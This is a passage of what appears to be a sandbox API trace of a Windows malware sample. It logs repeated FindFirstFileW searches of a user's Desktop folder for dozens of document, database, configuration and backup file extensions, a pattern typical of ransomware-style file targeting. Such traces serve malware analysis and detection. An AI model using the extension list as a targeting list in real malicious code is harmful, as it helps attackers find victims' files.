out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.824] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.dot", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.825] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.docm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.825] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.docx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.825] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.doc", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ndf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pdf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ib", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ibk", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mo", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.strings", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.828] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.nib", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.828] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sh", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.828] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.log", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.swidtag", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.grd", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sig", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.spm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.cat", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.tlb", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sres", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.hiv", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.resources", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.3da", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.3ws", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.chm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.3tf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.glf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sqlite", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.version", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.manifest", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.833] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.config", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.833] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.gst", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.833] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ind", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.833] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.id", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.833] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.map", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.833] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.prj", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.834] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.lic", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.834] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.prm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.834] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.rss", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.834] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sbo", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.834] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.cod", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.setup", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.glf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.netmodule", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.vib", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.tib", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.$$$", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.$DB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.001", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.001", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.002", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.003", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.113", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.73B", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.__A", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.__B", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.AB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ABA", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ABBU", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.combo", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ABF", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ABK", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ABU", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ABU1", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ACP", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ACR", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ADI", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.AEA", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.AFI", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ARC", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ARC", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.AS4", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ASD", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ASHBAK", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ASV", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.841] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ASVX", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.841] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ATE", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.841] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ATI", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.841] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BA6", lpFindFileData=0x1ae400 | out: 